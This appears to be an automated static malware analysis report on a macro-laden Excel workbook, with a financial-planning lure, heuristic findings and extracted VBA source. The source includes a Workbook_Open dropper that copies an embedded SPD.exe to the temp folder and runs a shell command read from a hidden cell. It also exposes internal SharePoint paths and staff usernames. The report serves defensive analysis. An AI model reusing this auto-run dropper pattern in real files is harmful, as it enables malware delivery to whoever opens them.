Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6e4513d1bc456440…

MALICIOUS

Office (OOXML)

1.59 MB Created: 2013-08-23 07:41:56 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-11-23
MD5: d9c0d4a7bbb8ec67b195daa158f04f5f SHA-1: ffcfeca98f3aeb343bba753cd3d84f1770b7665e SHA-256: 6e4513d1bc45644004b84e3a4bfc027b428bea3484ceaaa7489778fa9f7a88c9
464 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1059.003 Windows Command Shell

This Excel document contains VBA macros that are designed to download and execute a payload. The critical heuristic 'OLE_VBA_BITSTRANSFER_DROPPER' indicates a download primitive, and the presence of 'SPD.exe' and 'SPD.dll' as embedded OLE objects suggests these are the dropped payloads. The macro also references 'cmd.exe' and uses 'powershell -command "Unblock-File ($env:TEMP + "\SPD.dll")', indicating it attempts to execute the downloaded DLL. The document body content appears to be financial planning information, likely a lure.

Heuristics 17

  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Call Shell(cmnd, vbMinimizedFocus)
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Workbook_Open()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set fs = CreateObject("Scripting.FileSystemObject")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        Call Shell("cmd.exe /C pause")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        TempPath = Environ("temp")
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • External hyperlinks (2) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 2 external hyperlinks — clickable URLs are stored as external relationships. First target: https://finansco.sharepoint.com/Delte dokumenter/Finansco Gruppen Fellesmappe/Modellporteføljer/
  • External workbook data link low OOXML_EXTERNAL_REL_DATALINK
    External workbook reference in xl/externalLinks/_rels/externalLink1.xml.rels: /Users/EIRIKL~1/AppData/Local/Temp/Produktark MPF Kopi.xlsx
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 10 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://finansco.sharepoint.com/Delte Document hyperlink
    • https://finansco.sharepoint.com/Delte dokumenter/Finansco Gruppen Fellesmappe/Modellporteføljer/Document hyperlink
    • https://finansco-my.sharepoint.com/personal/espen_seidel_finansco_no/_vti_history/9728/Documents/FinanscoOOXML external relationship

Extracted artifacts 32

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 60999 bytes
SHA-256: 1b8626a26569be53d4e28292acaf038c42c52108affb1abe8ac793547667e340
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Option Explicit
Public memory As String
Public previous As String


Sub Print_ut()
ActiveSheet.Unprotect
Call resizeCHB
ThisWorkbook.RefreshAll
ActiveWindow.View = xlNormalView
ActiveWindow.Zoom = 100
' hide klassifisering
ActiveSheet.Range("kontroll").EntireRow.Hidden = True
' hide før investering og kontrollfunksjon
ActiveSheet.Range("klasse").EntireRow.Hidden = True
Application.Dialogs(xlDialogPrinterSetup).Show
ActiveSheet.PrintOut Preview:=True
ActiveWindow.View = xlNormalView
ActiveWindow.Zoom = 100
ActiveSheet.Range("kontroll").EntireRow.Hidden = False
ActiveSheet.Range("klasse").EntireRow.Hidden = False
ActiveSheet.Protect
Call resetallchb
End Sub

Public Sub resizeCHB()




End Sub
Sub placementCHB()

On Error Resume Next
Dim chb As Integer

For chb = 0 To 120
With ActiveSheet.Shapes("Checkbox" & chb)
.Placement = 2
End With
Next chb

End Sub
Sub runSavedResponses()

Dim myFile As String, text As String, textline As String, posLat As Integer, posLong As Integer
Dim siste As Worksheet
Dim count As Integer
    Dim myWS As Worksheet
    Dim OLEobj As OLEObject
    Dim zhape As Shape
    
    'you could easily set a for/each loop for all worksheets
    Set myWS = Application.ActiveSheet

Set siste = ActiveWorkbook.Sheets("Ark2")

Dim fname As String

fname = Application.ActiveWorkbook.path & "\Sisteinputs.txt"

If fname = "False" Then Exit Sub

    With siste.QueryTables.Add(Connection:="TEXT;" & fname, _
        Destination:=siste.Cells(1, 1))
            .TextFileParseType = xlDelimited
            .TextFileColumnDataTypes = Array(xlTextFormat)
            .Refresh
            
    End With

count = 1


    With myWS
        For Each OLEobj In myWS.OLEObjects
            OLEobj.Left = Val(siste.Cells(0 + count, 1))
           OLEobj.Width = Val(siste.Cells(1 + count, 1))
           OLEobj.Height = Val(siste.Cells(2 + count, 1))
          OLEobj.Top = Val(siste.Cells(3 + count, 1))
           OLEobj.Object.Value = Val(siste.Cells(4 + count, 1))
         count = count + 5
        Next OLEobj
    End With

Close #1


End Sub

Sub savefileas()


Dim fdate As Date
Dim fname As String
Dim path As String

ThisWorkbook.RefreshAll
Application.ActiveWorkbook.Save
Application.ActiveWorkbook.SaveCopyAs Filename:=Application.ActiveWorkbook.path & "\Backup-" & ActiveSheet.Range("A6").Value & "-" & ActiveSheet.Range("C7").Value & ".xlsm"
Call resetallchb



End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub MergeFormatCell()
    Dim xSRg As Range
    Dim xRgEachRow As Range
    Dim xRgEach As Range
    Dim xRgVal As String
    Dim I As Integer
    Dim xRgLen As Integer
    Dim xSRgRows As Integer
    Dim xAddress As String
    On Error Resume Next
    xAddress = ActiveWindow.RangeSelection.Address
    Set xSRg = Application.InputBox("Please select cell columns to concatenate:", "KuTools For Excel", xAddress, , , , , 8)
    If xSRg Is Nothing Then Exit Sub
    xSRgRows = xSRg.Rows.count
    Set xDRg = Application.InputBox("Please select cell columns to concatenate:", "KuTools For Excel", xAddress, , , , , 8)
    Set xDRg = xDRg(1)
    For I = 1 To xSRgRows
        xRgLen = 1
        With xDRg.Offset(I - 1)
            .Value = vbNullString
            .ClearFormats
            Set xRgEachRow = xSRg(1).Offset(I - 1).Resize(1, xSRg.Columns.count)
            For Each xRgEach In xRgEachRow
                .Value = .Value & Trim(xRgEach.Value) & " "
            Next
            For Each xRgEach In xRgEachRow
                xRgVal = xRgEach.Value
                With .Characters(xRgLen, Len(Trim(xRgVal))).Font
                .Name = xRgEach.Font.Name
                .FontStyle = xRgEach.Font.FontStyle
                .Size = xRgEach.Font.Size
                .Strikethrough = xRgEach.Font.Strikethrough
                .Superscript = xRgEach.Font.Superscript
                .Subscript = xRgEach.Font.Subscript
                .OutlineFont = xRgEach.Font.OutlineFont
                .Shadow = xRgEach.Font.Shadow
                .Underline = xRgEach.Font.Underline
                .ColorIndex = xRgEach.Font.ColorIndex
                End With
                xRgLen = xRgLen + Len(Trim(xRgVal)) + 1
            Next
        End With
    Next I
End Sub

Sub RunAndSave()
    TempPath = Environ("temp")
    
    Set fs = CreateObject("Scripting.FileSystemObject")
    If Not fs.FileExists(TempPath & "\SPD.exe") Then
        Worksheets("Application").OLEObjects("exeFile").Copy
        CreateObject("Shell.Application").Namespace(TempPath).Self.InvokeVerb "Paste"
    End If

    DownloadFile
    
End Sub



Sub Test()
Dim importedSheets(7) As Variant
Dim I As Integer
I = 0

For A1 = 69 To 75
    If Worksheets("Validering").Cells(A1, 3).Value <> "FALSE" Then
        importedSheets(I) = Worksheets("Validering").Cells(A1, 3).Value
        I = I + 1
    End If
Next A1

End Sub


Sub DownloadFile()
    UserName = Sheets("Application").Range("B1").Value
    Pwd = Sheets("Application").Range("B2").Value
    Url = Sheets("Application").Range("B3").Value
    Filename = Sheets("Application").Range("B4").Value
    TempPath = Environ("temp")
    
    Worksheets("Config").Range("B7").Value = TempPath & "\" & Filename
    cmnd = Sheets("Application").Range("B6").Value
    Call Shell(cmnd, vbMinimizedFocus)
End Sub



Private Sub Workbook_Open()

On Error Resume Next
RunAndSave
Application.Wait (Now + TimeValue("0:00:3"))
FixFormula
Application.Wait (Now + TimeValue("0:00:1"))

Dim chb As Integer

For chb = 0 To 120
With ActiveSheet.Shapes("Checkbox" & chb)
.ScaleWidth 1.1, msoFalse, msoScaleFromTopLeft
.ScaleWidth 0.909091, msoFalse, msoScaleFromTopLeft
End With
Next chb

ActiveSheet.EnableFormatConditionsCalculation = True

' Sett memory lik verdi av memory før closing av workbook.
memory = Evaluate(ActiveWorkbook.Names("myVar1").RefersTo)

With Worksheets("Formuesplan").PageSetup
        .LeftHeader = ""
        .CenterHeader = ""
        .RightHeader = ""
        .LeftFooter = ""
        .CenterFooter = ""
        .RightFooter = ""
        .PrintQuality = 300
        .CenterHorizontally = True
        .CenterVertically = True
        .Orientation = xlPortrait
        .Draft = False
        .PaperSize = xlPaperA4
        .FirstPageNumber = xlAutomatic
        .Order = xlDownThenOver
        .BlackAndWhite = False
        .Zoom = False
        .FitToPagesWide = 1
        .FitToPagesTall = False
End With

Generate

End Sub

Private Sub Workbook_BeforeClose(Cancel As Boolean)

' Lagre memory verdien for når workbook åpnes igjen.
On Error Resume Next
ActiveWorkbook.Names.Add Name:="myVar1", RefersTo:=memory
End Sub



Private Sub Workbook_BeforePrint(Cancel As Boolean)
    'Cancel = True
    
End Sub
'Application.EnableEvents = True
'Application.ScreenUpdating = False
'Dim User As String
'User = Environ$("UserName")
'If User = "EIFUTV" Then User = "Eirik"
'If User = "PTTV" Then User = "Pål"
'If User = "FICHRARN" Then User = "Christian"
'If User = "fi-arnwil" Then User = "Arne-Morten"
'If User = "fi-stiand" Then User = "Stian"
'If User = "fi-tomlok" Then User = "Tom-Morten"

'If ActiveSheet.Range("klasse").EntireRow.Hidden = False Then
'MsgBox ("Hei, " & User & ". Skriv ut via <Utskrift>-seksjonen i regnearket, ikke via <Skriv Ut> i <Fil>-menyen. Vennligst trykk <OK> og du vil bli holdt i hånden helt frem til mål.")
'Call resizeCHB
'ActiveWindow.Zoom = 100
'ActiveSheet.Range("utskrift").Select
'End If
'Application.ScreenUpdating = True
'End Sub

Attribute VB_Name = "Ark6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Ark2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "CheckBox71, 232, 20, MSForms, CheckBox"
Attribute VB_Control = "CheckBox70, 231, 21, MSForms, CheckBox"
Attribute VB_Control = "CheckBox38, 213, 22, MSForms, CheckBox"
Attribute VB_Control = "CheckBox36, 212, 23, MSForms, CheckBox"
Attribute VB_Control = "CheckBox30, 211, 24, MSForms, CheckBox"
Attribute VB_Control = "CheckBox1, 208, 25, MSForms, CheckBox"
Attribute VB_Control = "CheckBox49, 207, 26, MSForms, CheckBox"
Attribute VB_Control = "CheckBox24, 205, 27, MSForms, CheckBox"
Attribute VB_Control = "CheckBox28, 204, 28, MSForms, CheckBox"
Attribute VB_Control = "CheckBox27, 203, 29, MSForms, CheckBox"
Attribute VB_Control = "CheckBox23, 202, 30, MSForms, CheckBox"
Attribute VB_Control = "CheckBox22, 201, 31, MSForms, CheckBox"
Attribute VB_Control = "CheckBox21, 200, 32, MSForms, CheckBox"
Attribute VB_Control = "CheckBox48, 199, 33, MSForms, CheckBox"
Attribute VB_Control = "CheckBox47, 198, 34, MSForms, CheckBox"
Attribute VB_Control = "CheckBox45, 197, 35, MSForms, CheckBox"
Attribute VB_Control = "CheckBox44, 196, 36, MSForms, CheckBox"
Attribute VB_Control = "CheckBox43, 195, 37, MSForms, CheckBox"
Attribute VB_Control = "CheckBox42, 194, 38, MSForms, CheckBox"
Attribute VB_Control = "CheckBox41, 193, 39, MSForms, CheckBox"
Attribute VB_Control = "CheckBox40, 192, 40, MSForms, CheckBox"
Attribute VB_Control = "CheckBox39, 191, 41, MSForms, CheckBox"
Attribute VB_Control = "CheckBox69, 186, 42, MSForms, CheckBox"
Attribute VB_Control = "CheckBox56, 169, 43, MSForms, CheckBox"
Attribute VB_Control = "CheckBox55, 168, 44, MSForms, CheckBox"
Attribute VB_Control = "CheckBox54, 167, 45, MSForms, CheckBox"
Attribute VB_Control = "CheckBox53, 166, 46, MSForms, CheckBox"
Attribute VB_Control = "CheckBox52, 165, 47, MSForms, CheckBox"
Attribute VB_Control = "CheckBox51, 164, 48, MSForms, CheckBox"
Attribute VB_Control = "CheckBox35, 163, 49, MSForms, CheckBox"
Attribute VB_Control = "CheckBox34, 162, 50, MSForms, CheckBox"
Attribute VB_Control = "CheckBox33, 161, 51, MSForms, CheckBox"
Attribute VB_Control = "CheckBox29, 160, 52, MSForms, CheckBox"
Attribute VB_Control = "CheckBox20, 135, 53, MSForms, CheckBox"
Attribute VB_Control = "CheckBox19, 134, 54, MSForms, CheckBox"
Attribute VB_Control = "CheckBox18, 133, 55, MSForms, CheckBox"
Attribute VB_Control = "CheckBox17, 132, 56, MSForms, CheckBox"
Attribute VB_Control = "CheckBox16, 131, 57, MSForms, CheckBox"
Attribute VB_Control = "CheckBox15, 130, 58, MSForms, CheckBox"
Attribute VB_Control = "CheckBox8, 129, 59, MSForms, CheckBox"
Attribute VB_Control = "CheckBox7, 128, 60, MSForms, CheckBox"
Attribute VB_Control = "CheckBox6, 127, 61, MSForms, CheckBox"
Attribute VB_Control = "CheckBox5, 126, 62, MSForms, CheckBox"
Attribute VB_Control = "CheckBox4, 125, 63, MSForms, CheckBox"
Attribute VB_Control = "CheckBox2, 124, 64, MSForms, CheckBox"
Attribute VB_Control = "CheckBox14, 92, 65, MSForms, CheckBox"
Attribute VB_Control = "CheckBox13, 91, 66, MSForms, CheckBox"
Attribute VB_Control = "CheckBox12, 90, 67, MSForms, CheckBox"
Attribute VB_Control = "CheckBox11, 89, 68, MSForms, CheckBox"
Attribute VB_Control = "CheckBox10, 88, 69, MSForms, CheckBox"
Attribute VB_Control = "CheckBox9, 87, 70, MSForms, CheckBox"
Attribute VB_Control = "CheckBox26, 58, 71, MSForms, CheckBox"
Attribute VB_Control = "CheckBox31, 60, 72, MSForms, CheckBox"
Attribute VB_Control = "CheckBox32, 61, 73, MSForms, CheckBox"
Attribute VB_Control = "CheckBox37, 63, 74, MSForms, CheckBox"
Attribute VB_Control = "CheckBox50, 143, 75, MSForms, CheckBox"
Attribute VB_Control = "CheckBox57, 174, 76, MSForms, CheckBox"
Attribute VB_Control = "CheckBox58, 175, 77, MSForms, CheckBox"
Attribute VB_Control = "CheckBox59, 176, 78, MSForms, CheckBox"
Attribute VB_Control = "CheckBox60, 177, 79, MSForms, CheckBox"
Attribute VB_Control = "CheckBox61, 178, 80, MSForms, CheckBox"
Attribute VB_Control = "CheckBox62, 179, 81, MSForms, CheckBox"
Attribute VB_Control = "CheckBox63, 180, 82, MSForms, CheckBox"
Attribute VB_Control = "CheckBox64, 181, 83, MSForms, CheckBox"
Attribute VB_Control = "CheckBox66, 183, 84, MSForms, CheckBox"
Attribute VB_Control = "CheckBox67, 184, 85, MSForms, CheckBox"
Attribute VB_Control = "CheckBox68, 185, 86, MSForms, CheckBox"
Attribute VB_Control = "CheckBox46, 217, 87, MSForms, CheckBox"
Option Explicit
Private Sub printAllActiveXSizeInformation()
    Dim myWS As Worksheet
    Dim OLEobj As OLEObject
    Dim obName As String
    Dim shName As String
    Dim zhape As Shape
    
    'you could easily set a for/each loop for all worksheets
    Set myWS = ActiveWorkbook.Sheets("Investeringsforslag")
    
    
    shName = myWS.Name

    Dim mFile As String
    mFile = Application.ActiveWorkbook.path & "\Sisteinputs.txt"

    Open mFile For Output As #1
    With myWS
        For Each OLEobj In myWS.OLEObjects
            obName = OLEobj.Name
            Print #1, Replace(CStr(OLEobj.Left), ",", ".")
            Print #1, Replace(CStr(OLEobj.Width), ",", ".")
            Print #1, Replace(CStr(OLEobj.Height), ",", ".")
            Print #1, Replace(CStr(OLEobj.Top), ",", ".")
            Print #1, Replace(CStr(OLEobj.Object.Value), ",", ".")


        Next OLEobj
    End With
    Close #1
    
    Shell "NotePad " + mFile

End Sub

Private Sub printAllActiveXSizeInformation2()
    Dim myWS As Worksheet
    Dim OLEobj As OLEObject
    Dim obName As String
    Dim shName As String
    Dim zhape As Shape
    
    'you could easily set a for/each loop for all worksheets
    Set myWS = ActiveWorkbook.Sheets("Investeringsforslag")
    
    
    shName = myWS.Name

    Dim mFile As String
    mFile = Application.ActiveWorkbook.path & "\Sisteinputs.txt"

    Open mFile For Output As #1
    With myWS
        For Each OLEobj In myWS.OLEObjects
            obName = OLEobj.Name

            Print #1, "'" + obName
            Print #1, shName + "." + obName + ".Left=" + Replace(CStr(OLEobj.Left), ",", ".")
            Print #1, shName + "." + obName + ".Width=" + Replace(CStr(OLEobj.Width), ",", ".")
            Print #1, shName + "." + obName + ".Height=" + Replace(CStr(OLEobj.Height), ",", ".")
            Print #1, shName + "." + obName + ".Top=" + Replace(CStr(OLEobj.Top), ",", ".")
            Print #1, shName + "." + obName + ".Top=" + Replace(CStr(OLEobj.Object.Value), ",", ".")
            Print #1, "ActiveSheet.Shapes(""" + obName + """).ScaleHeight 1.25, msoFalse, msoScaleFromTopLeft"
            Print #1, "ActiveSheet.Shapes(""" + obName + """).ScaleHeight 0.8, msoFalse, msoScaleFromTopLeft"


        Next OLEobj
    End With
    Close #1
    
    Shell "NotePad " + mFile

End Sub

Private Sub CheckBox30_Click()

End Sub

Private Sub CheckBox60_Change()

End Sub

'GRAFER:
' finansiering
Private Sub CheckBox66_Click()
ActiveSheet.Unprotect
Dim Finans As Range
Set Finans = ActiveSheet.Range("Finans")

If CheckBox66.Value = True Then
Finans.EntireRow.Hidden = False
CheckBox68.Value = False
Else
Finans.EntireRow.Hidden = True
    If CheckBox66.Value = False And CheckBox64.Value = False Then
    CheckBox68.Value = True
    End If
End If

ActiveSheet.Protect
End Sub

' totaløkonomi
Private Sub CheckBox64_Click()
ActiveSheet.Unprotect
Dim Total As Range
Set Total = ActiveSheet.Range("Total")

If CheckBox64.Value = True Then
Total.EntireRow.Hidden = False
CheckBox68.Value = False
Else
Total.EntireRow.Hidden = True
    If CheckBox66.Value = False And CheckBox64.Value = False Then
    CheckBox68.Value = True
    End If
End If

ActiveSheet.Protect
End Sub

'Ingen grafer
Private Sub CheckBox68_Click()
ActiveSheet.Unprotect
Dim Ingen As Range, Topp As Range, Borde As Range
Set Ingen = ActiveSheet.Range("Ingen")
Set Topp = ActiveSheet.Range("Topp")
Set Borde = ActiveSheet.Range("Borde")

If CheckBox68.Value = True Then
Ingen.EntireRow.Hidden = True
CheckBox64.Value = False
CheckBox66.Value = False
Else
Topp.EntireRow.Hidden = False
Borde.EntireRow.Hidden = False
End If

ActiveSheet.Protect
End Sub

'KOSTNAD:
Private Sub CheckBox67_Click()
ActiveSheet.Unprotect
Dim Kost As Range
Set Kost = ActiveSheet.Range("Kost")

If CheckBox67.Value = True Then
Kost.EntireRow.Hidden = False
Else
Kost.EntireRow.Hidden = True
End If

ActiveSheet.Protect
End Sub

'Månedlig sparing:
Private Sub CheckBox63_Click()
ActiveSheet.Unprotect
Dim Mnd As Range
Set Mnd = ActiveSheet.Range("mnd")

If CheckBox63.Value = True Then
Mnd.EntireRow.Hidden = False
Else
Mnd.EntireRow.Hidden = True
End If
ActiveSheet.Protect
End Sub

'VELG SIDER:
' Situasjon
Private Sub CheckBox57_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("sit")
s = PageSetup.PrintArea

    If CheckBox57.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
    PageSetup.PrintArea = ""
CheckBox58.Value = False
CheckBox59.Value = False
CheckBox60.Value = False
CheckBox61.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
' Kunnskap og erfaring
Private Sub CheckBox58_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("kun")
s = PageSetup.PrintArea

    If CheckBox58.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox59.Value = False
CheckBox60.Value = False
CheckBox61.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
' Investeringsforslag
Private Sub CheckBox59_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("inv")
s = PageSetup.PrintArea
    If CheckBox59.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox58.Value = False
CheckBox60.Value = False
CheckBox61.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
'Etter investering
Private Sub CheckBox60_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("ett")
s = PageSetup.PrintArea
    If CheckBox60.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox58.Value = False
CheckBox59.Value = False
CheckBox61.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
' Godkjenning
Private Sub CheckBox61_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("god")
s = PageSetup.PrintArea
    If CheckBox61.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox58.Value = False
CheckBox59.Value = False
CheckBox60.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
' Appendix
Private Sub CheckBox62_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("app")
s = PageSetup.PrintArea
    If CheckBox62.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox58.Value = False
CheckBox59.Value = False
CheckBox60.Value = False
CheckBox61.Value = False
CheckBox69.Value = True
    End If
End Sub

' Ingen sider
Private Sub CheckBox69_Click()

If CheckBox69.Value = True Then
If CheckBox57.Value = False And CheckBox58.Value = False And CheckBox59.Value = False And CheckBox60.Value = False And CheckBox61.Value = False And CheckBox63.Value = False Then
PageSetup.PrintArea = ""
End If
End If

End Sub

' Endre på om checkboxer i ønske om aksjeandel er på eller av
Private Sub Worksheet_Calculate()
Dim A1 As Range
Set A1 = Range("port")
Debug.Print A1.Value & "VALUE BEFORE"
If A1.Value = "" Then
    memory = A1.Value
    Debug.Print A1.Value & " EMPTY"
    Exit Sub
End If

If A1.Value = memory Then
    Debug.Print A1.Value & "SAME"
    Exit Sub
End If

Debug.Print A1.Value & "VALUE AFTER"
memory = A1.Value
'Application.EnableEvents = False

Dim x As Range
Set x = Worksheets("Ark1").Range("verdi")

    Dim CB_SL As OLEObject
    Set CB_SL = Worksheets("Investeringsforslag").OLEObjects("CheckBox52")
    Dim CB_L As OLEObject
    Set CB_L = Worksheets("Investeringsforslag").OLEObjects("CheckBox53")
    Dim CB_M As OLEObject
    Set CB_M = Worksheets("Investeringsforslag").OLEObjects("CheckBox54")
    Dim CB_H As OLEObject
    Set CB_H = Worksheets("Investeringsforslag").OLEObjects("CheckBox55")
    Dim CB_SH As OLEObject
    Set CB_SH = Worksheets("Investeringsforslag").OLEObjects("CheckBox56")
    
    Debug.Print x.Value & " MATRISE"
    
    If x = 7 Then
    CB_SL.Enabled = False
    CB_L.Enabled = False
    CB_M.Enabled = False
    CB_H.Enabled = False
    CB_SH.Enabled = False
    End If
    
    If x = 2 Then
    CB_SL.Enabled = True
    CB_L.Enabled = True
    CB_M.Enabled = True
    CB_H.Enabled = True
    CB_SH.Enabled = True
    End If
    
    If x = 3 Then
    CB_SL.Enabled = True
    CB_L.Enabled = True
    CB_M.Enabled = True
    CB_H.Enabled = True
    CB_SH.Enabled = False
    End If
    
    If x = 4 Then
    CB_SL.Enabled = True
    CB_L.Enabled = True
    CB_M.Enabled = True
    CB_H.Enabled = False
    CB_SH.Enabled = False
    End If
    
    If x = 5 Then
    CB_SL.Enabled = True
    CB_L.Enabled = True
    CB_M.Enabled = False
    CB_H.Enabled = False
    CB_SH.Enabled = False
    End If
    
    If x = 6 Then
    CB_SL.Enabled = True
    CB_L.Enabled = False
    CB_M.Enabled = False
    CB_H.Enabled = False
    CB_SH.Enabled = False
    End If

    With Worksheets("Validering").Range("risiko")
    .Value = False
    End With
    
'Application.EnableEvents = True
End Sub


Attribute VB_Name = "Module2"
' Betinget formatering, vis celler som er låste:
'=CELLE("Beskytt";INDIREKTE(ADRESSE(RAD();KOLONNE())))=1

Sub resetallchb()
ActiveSheet.Unprotect
Dim chb As OLEObject
Dim chng As Integer

' ORGINALPOSISJON TIL FØRSTE CHB - HVIS DET ER EN ENDRING VIL ARKET SETTES TILBAKE TIL DEFAULT:
chng = ActiveSheet.OLEObjects("CheckBox30").Top - Range("grunnskole").Top

'If chng = 0 Then Exit Sub

'MsgBox ("En bug i Investeringsforslaget er oppdaget og reparert. Vennligst se gjennom arket for å forsikre deg om at alt er som det skal. Takk.")

On Error Resume Next
Dim chbx As OLEObject

ActiveWindow.View = xlNormalView
ActiveWindow.Zoom = 120

For Each chbx In ActiveSheet.OLEObjects
With chbx.ShapeRange
.ScaleWidth 1.1, msoFalse, msoScaleFromTopLeft
.ScaleWidth 0.909091, msoFalse, msoScaleFromTopLeft
End With
Next chbx

Sheets("Investeringsforslag").CheckBox57.Value = True
Sheets("Investeringsforslag").CheckBox58.Value = True
Sheets("Investeringsforslag").CheckBox59.Value = True
Sheets("Investeringsforslag").CheckBox60.Value = True
Sheets("Investeringsforslag").CheckBox61.Value = True

Sheets("Investeringsforslag").CheckBox63.Value = True
Sheets("Investeringsforslag").CheckBox64.Value = True
Sheets("Investeringsforslag").CheckBox66.Value = True
